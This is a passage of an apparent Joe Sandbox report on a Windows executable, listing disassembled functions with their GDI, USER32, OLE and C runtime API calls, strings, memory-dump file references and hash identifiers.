StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,ETERMINATOR), ref: 00454238
SelectObject.GDI32(00000000,?), ref: 0045426F
DeleteDC.GDI32(00000000), ref: 0045427C

Strings

ETERMINATOR, xrefs: 0045421B, 00454250

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Fill$ObjectSelectStretch$BrushClientCreateDeleteH_prologModeSolid
String ID: ETERMINATOR
API String ID: 3514727852-2947605395
Opcode ID: 29f238976e844e1aaf46a71dd539816f1a63d4d585200d8b963cd9b7ffd95c7b
Instruction ID: 1d633bb053a20ee47fa7abf4c4f7f1e962ffd469c2e32f976a940b27cfab6854
Opcode Fuzzy Hash: 29f238976e844e1aaf46a71dd539816f1a63d4d585200d8b963cd9b7ffd95c7b
Instruction Fuzzy Hash: 22611B752047019FD724DF65C984F6BB7E8ABC8705F004A1EFA9A87381DB34E949CB29

Function 00461050 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 004610CF
GetTextExtentPoint32A.GDI32(?,?,?,00000090), ref: 004610F4
GetWindowRect.USER32(?,?), ref: 0046117E
SetRect.USER32(00000080,?,?,?,?), ref: 004611B3
SetRect.USER32(00000070,?,?,?,?), ref: 004611F8
SetRect.USER32(00000060,?,?,?,?), ref: 0046126B
GetSystemMetrics.USER32(00000001), ref: 00461296
GetSystemMetrics.USER32(00000000), ref: 0046129C
OffsetRect.USER32(00000080,00000000,00000000), ref: 004612B4
OffsetRect.USER32(00000080,00000000,00000000), ref: 004612C2
OffsetRect.USER32(00000080,00000000,00000000), ref: 004612D4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Offset$ExtentMetricsPoint32SystemText$Window
String ID:
API String ID: 1551820068-0
Opcode ID: e682070c51ba7e3d368346e28e29794f4cd6868aefa975a899b80e7cacb7571a
Instruction ID: 7648d5bca8b13f44d503d10c59b2d9aa36d98cb282dc460184c2548c42150178
Opcode Fuzzy Hash: e682070c51ba7e3d368346e28e29794f4cd6868aefa975a899b80e7cacb7571a
Instruction Fuzzy Hash: BC914571200B019FD318CF69C985E6AF3EAFB88700F048A2DA95AC7754EB74FC058B65

Function 0042A660 Relevance: 16.7, APIs: 11, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetCurrentObject.GDI32(?,00000001), ref: 0042A699
GetCurrentObject.GDI32(?,00000002), ref: 0042A6E3
GetCurrentObject.GDI32(?,00000006), ref: 0042A72D
GetTextColor.GDI32(?), ref: 0042A76C
GetBkMode.GDI32(?), ref: 0042A796
GetBkColor.GDI32(?), ref: 0042A7B5
GetBkMode.GDI32(?), ref: 0042A7D8
GetBkColor.GDI32(?), ref: 0042A7F7
GetROP2.GDI32(?), ref: 0042A81F
GetStretchBltMode.GDI32(?), ref: 0042A840
GetPolyFillMode.GDI32(?), ref: 0042A86C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Mode$ColorCurrentObject$FillPolyStretchText
String ID:
API String ID: 544274770-0
Opcode ID: 554171ee14b1db814f5a5c7ecf709e42fdf112103e62ff332718b8722823a7ea
Instruction ID: 012257b2f456ed272e927846a9c99eeb619cb86543f68f378b01a12442658a30
Opcode Fuzzy Hash: 554171ee14b1db814f5a5c7ecf709e42fdf112103e62ff332718b8722823a7ea
Instruction Fuzzy Hash: AE518E31300B119BC764DB64D888BABB3B5EF84701F544A1DEAAB87250DF38F855CB19

Function 00445500 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 279COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(windows,device,,,,,?,000001F4), ref: 0044557F
GetProfileStringA.KERNEL32(devices,00000000,00CD84C8,?,00001000), ref: 004455B3
GetProfileStringA.KERNEL32(devices,?,,,,,?,000000C8), ref: 0044563A

Strings

windows, xrefs: 0044557A
,,,, xrefs: 00445570, 0044562F
device, xrefs: 00445575
none, xrefs: 00445670
devices, xrefs: 004455AE, 00445635

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: ProfileString
String ID: ,,,$device$devices$none$windows
API String ID: 1468043044-528626633
Opcode ID: 606aec29f162d931224aee8511423f92bc1ddb38f1060b5f0f17c70419e9a80d
Instruction ID: 4be33390ed0e0c1108537798d4a3c4e9349de140313e05fe3ed3b872525da99d
Opcode Fuzzy Hash: 606aec29f162d931224aee8511423f92bc1ddb38f1060b5f0f17c70419e9a80d
Instruction Fuzzy Hash: E9B1D4701083409FD720EB65C881FAFB7E8AF99748F400A1DF59993392DB789908C767

Function 00429830 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

Part of subcall function 004B0AAB: __EH_prolog.LIBCMT ref: 004B0AB0
Part of subcall function 004B0AAB: BeginPaint.USER32(?,?,?,?,00424FE9), ref: 004B0AD9

Part of subcall function 004B065C: GetClipBox.GDI32(?,?), ref: 004B0663

GetClientRect.USER32(?,?), ref: 0042987E
IntersectRect.USER32(?,?,?), ref: 00429896
IsRectEmpty.USER32(?), ref: 004298C6
GetObjectA.GDI32(?,00000018,?), ref: 004298FD
IntersectRect.USER32(?,?,?), ref: 00429978
IsRectEmpty.USER32(?), ref: 00429983
DPtoLP.GDI32(?,?,00000002), ref: 00429A46
IsWindow.USER32(?), ref: 00429AA8

Strings

ETERMINATOR, xrefs: 004299A5

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$EmptyIntersect$BeginClientClipH_prologObjectPaintWindow
String ID: ETERMINATOR
API String ID: 611846025-2947605395
Opcode ID: 9f7e9d1e72644d5af0c667ddbfd81d108c79bd2882ed79e10d7166d71d084cc2
Instruction ID: f33e49cf45e1d568a545e7b6824db4246c06a7df86a67eef9c338a504dfeb3ed
Opcode Fuzzy Hash: 9f7e9d1e72644d5af0c667ddbfd81d108c79bd2882ed79e10d7166d71d084cc2
Instruction Fuzzy Hash: 348109B15087459FC324DF65D884AABB7E9FBC8704F408E2EF59A83350D734A909CB66

Function 004AAD74 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AAD79
GetSystemMetrics.USER32(0000002A), ref: 004AAE2A
GlobalFix.KERNEL32(?), ref: 004AAEB4
CreateDialogIndirectParamA.USER32(?,?,?,Function_000AABBC,00000000), ref: 004AAEE6

Strings

MS Shell Dlg, xrefs: 004AAE38
Helv, xrefs: 004AAE5E
MS Sans Serif, xrefs: 004AAE4B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CreateDialogGlobalH_prologIndirectMetricsParamSystem
String ID: Helv$MS Sans Serif$MS Shell Dlg
API String ID: 2252606490-2894235370
Opcode ID: e2aa51f5972ffc09b649ce3c6357a593e96105146639b806ee6ff74d1e0a2ad4
Instruction ID: 14ac1047124dd2c8a607b89e096172e5e7395dd080ec660e746952b9a5436a82
Opcode Fuzzy Hash: e2aa51f5972ffc09b649ce3c6357a593e96105146639b806ee6ff74d1e0a2ad4
Instruction Fuzzy Hash: 23616B7190020AEFCF15EFA4C8859EEBBB1BF25304F14456FF502A2291DB389E55CB5A

Function 00420E50 Relevance: 15.3, APIs: 10, Instructions: 324COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00420E7B
VariantInit.OLEAUT32(00000000), ref: 00420EAA
VariantCopyInd.OLEAUT32(00000000), ref: 00420EB2
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 00420F55

Part of subcall function 00438460: RtlAllocateHeap.NTDLL(00DC0000,00000000,00000008), ref: 00438471

VariantCopyInd.OLEAUT32(?), ref: 00421135
VariantChangeType.OLEAUT32(00000000,?,00000000,?), ref: 00421150

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Variant$CopyInit$AllocateArrayChangeElementHeapSafeType
String ID:
API String ID: 2026756349-0
Opcode ID: c54f2be87377a22c4394f8c92f334d7edee960b2429141c1a2ee8e4c65e0e9ce
Instruction ID: 3c39e9fded5f5d743aa4b69fb78e7ec20085b931d0c86b0a956f2cea192b9446
Opcode Fuzzy Hash: c54f2be87377a22c4394f8c92f334d7edee960b2429141c1a2ee8e4c65e0e9ce
Instruction Fuzzy Hash: 80D18075208351CFC714CF15E480A6ABBE1FF98314F608A6EF885973A1D738D945CB9A

Function 004216B0 Relevance: 15.3, APIs: 10, Instructions: 301COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00421702
VariantClear.OLEAUT32 ref: 00421785
SafeArrayPutElement.OLEAUT32 ref: 004217FF
VariantClear.OLEAUT32(?), ref: 0042180E
VariantCopyInd.OLEAUT32 ref: 00421891
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 004219E5
VariantClear.OLEAUT32 ref: 004219F0

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Variant$Clear$ArrayChangeCopyElementInitSafeType
String ID:
API String ID: 2581279852-0
Opcode ID: 93490469d630781bac2fee14ddc3fcd7d1606fb9c347bf1c68360e025dd177c7
Instruction ID: 091d3b414093a76b48c54b4fdf4d3cefc42cc63f0c47c196d34500004199ac71
Opcode Fuzzy Hash: 93490469d630781bac2fee14ddc3fcd7d1606fb9c347bf1c68360e025dd177c7
Instruction Fuzzy Hash: C2B1D2B57043518FC714DF15E49066BB7E4EF98300FA4496EE88687370E7789985CB2B

Function 0043A890 Relevance: 15.2, APIs: 10, Instructions: 179COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0043A8AD
GetWindowRect.USER32(?,?), ref: 0043A8BC
IntersectRect.USER32(?,?,?), ref: 0043A915
EqualRect.USER32(?,?), ref: 0043A945
GetWindowRect.USER32(?,?), ref: 0043A963
OffsetRect.USER32(?,?,?), ref: 0043A9DA
OffsetRect.USER32(?,?,00000000), ref: 0043A9F4
OffsetRect.USER32(?,?,00000000), ref: 0043AA0C
OffsetRect.USER32(?,00000000,?), ref: 0043AA26
OffsetRect.USER32(?,00000000,?), ref: 0043AA3E

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Offset$Window$EqualIntersect
String ID:
API String ID: 2638238157-0
Opcode ID: 71b7a1f248efc480b2854c20f74b5a955483ddb11437d2b8fd1ec3b464a57ce9
Instruction ID: e0d7cbb0dce0dadb0c8a2f7206c2bc5efd62cffc906cfb1021b36f41a197761a
Opcode Fuzzy Hash: 71b7a1f248efc480b2854c20f74b5a955483ddb11437d2b8fd1ec3b464a57ce9
Instruction Fuzzy Hash: 3A510CB56183069FC708CF29C98096BBBE9AFC8744F004A2EF985D3354DA74ED45CB62

Function 0058DC56 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0058DC6A
_free.LIBCMT ref: 0058DC76
_free.LIBCMT ref: 0058DC81
_free.LIBCMT ref: 0058DC8C
_free.LIBCMT ref: 0058DC97
_free.LIBCMT ref: 0058DCA2
_free.LIBCMT ref: 0058DCAD
_free.LIBCMT ref: 0058DCB8
_free.LIBCMT ref: 0058DCC3
_free.LIBCMT ref: 0058DCD1

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d103ad849920b332357b4e020e0043f0d3614485c4debc81dfb450a18702868f
Instruction ID: ac2db479fcf48b5c45f6254baf7837e7157304b49b3e878de2a8a224cfc21f19
Opcode Fuzzy Hash: d103ad849920b332357b4e020e0043f0d3614485c4debc81dfb450a18702868f
Instruction Fuzzy Hash: 8F118076104109EFCB02FF54C85AC993FB5FF44350B1184A1FA089B262EA72DA519B90

Function 004A5812 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0049E330,?,Microsoft Visual C++ Runtime Library,00012010,?,00BDD8C4,?,00BDD914,?,?,?,Runtime Error!Program: ), ref: 004A5824
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 004A583C
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 004A584D
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 004A585A

Strings

GetLastActivePopup, xrefs: 004A584F
user32.dll, xrefs: 004A581F
MessageBoxA, xrefs: 004A5836
GetActiveWindow, xrefs: 004A5847

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 28b9f1cc0960f4446a13a93b38d9d8a48d46cb75a4eaf1da2e84c83f12f42ca0
Instruction ID: ca2c2ce776711d2fb4d7f778a88ab93348d0908bbbefc06fb685e9304ae21b4a
Opcode Fuzzy Hash: 28b9f1cc0960f4446a13a93b38d9d8a48d46cb75a4eaf1da2e84c83f12f42ca0
Instruction Fuzzy Hash: 96012C71700702AF8B11BFF59D80FAF7AE8EA99690304043FF545C2261EB788851DB66

Function 004ADD5B Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,004AE055,?,00020000), ref: 004ADD64
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 004ADD6D
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004ADD81
6F9E1CD0.COMCTL32 ref: 004ADD9C
6F9E1CD0.COMCTL32 ref: 004ADDB8
FreeLibrary.KERNEL32(00000000), ref: 004ADDC4

Strings

InitCommonControlsEx, xrefs: 004ADD79
COMCTL32.DLL, xrefs: 004ADD5D, 004ADD63, 004ADD6A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
